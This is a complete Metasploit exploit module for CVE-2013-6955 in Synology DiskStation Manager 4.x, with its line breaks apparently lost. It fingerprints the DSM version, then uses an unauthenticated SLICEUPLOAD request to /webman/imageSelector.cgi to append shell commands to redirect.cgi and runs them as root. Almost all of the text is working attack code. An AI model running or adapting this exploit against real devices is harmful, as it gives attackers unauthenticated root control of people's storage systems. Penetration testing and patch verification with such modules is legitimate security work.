Synology DiskStation Manager – SLICEUPLOAD Remote Command Execution (Metasploit)
## ## This module requires Metasploit: http//metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+) &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x def initialize(info={}) super(update_info(info, 'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution", 'Description' => %q{ This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions 4.x, which allows the execution of arbitrary commands under root privileges. The vulnerability is located in /webman/imageSelector.cgi, which allows to append arbitrary data to a given file using a so called SLICEUPLOAD functionality, which can be triggered by an unauthenticated user with a specially crafted HTTP request. This is exploited by this module to append the given commands to /redirect.cgi, which is a regular shell script file, and can be invoked with another HTTP request. Synology reported that the vulnerability has been fixed with versions 4.0-2259, 4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable. }, 'Author' => [ 'Markus Wulftange' # Discovery, Metasploit module ], 'References' => [ [ 'CVE', '2013-6955' ], ], 'Privileged' => false, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'DisableNops' => true, 'Space' => 0x31337, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 31 2013' )) register_options( [ Opt::RPORT(5000) ], self.class) end def check print_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('webman', 'info.cgi'), 'vars_get' => { 'host' => ''} }) if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN version = "#{$~[:major]}.#{$~[:minor]}" build = $~[:build] model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase } model = "DS#{model}" unless model =~ /^[A-Z]/ else print_status("#{peer} - Detection failed") return Exploit::CheckCode::Unknown end print_status("#{peer} - Model #{model} with version #{version}-#{build} detected") case version when '4.0' return Exploit::CheckCode::Vulnerable if build < '2259' when '4.1' return Exploit::CheckCode::Vulnerable when '4.2' return Exploit::CheckCode::Vulnerable if build < '3243' when '4.3' return Exploit::CheckCode::Vulnerable if build < '3810' return Exploit::CheckCode::Detected if build == '3810' end Exploit::CheckCode::Safe end def exploit cmds = [ # sed is used to restore the redirect.cgi "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi", payload.encoded ].join("\n") mime_msg = Rex::MIME::Message.new mime_msg.add_part('login', nil, nil, 'form-data; name="source"') mime_msg.add_part('logo', nil, nil, 'form-data; name="type"') # unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n, # so we use a placeholder and replace it later cmd_placeholder = Rex::Text::rand_text_alphanumeric(10) mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil, 'form-data; name="foo"; filename="bar"') post_body = mime_msg.to_s post_body.strip! post_body.sub!(cmd_placeholder, cmds) # fix multipart encoding post_body.gsub!(/\r\n(--#{mime_msg.bound})/, ' \\1') # send request to append shell commands print_status("#{peer} - Injecting the payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('webman', 'imageSelector.cgi'), 'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}", 'headers' => { 'X-TYPE-NAME' => 'SLICEUPLOAD', 'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi' }, 'data' => post_body }) unless res and res.code == 200 and res.body.include?('error_noprivilege') fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed") end # send request to invoke the injected shell commands print_status("#{peer} - Executing the payload...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('redirect.cgi'), }) # Read command output if cmd/unix/generic payload was used if datastore['CMD'] unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed") end print_good("#{peer} - Command successfully executed") print_line(res.body) end end end |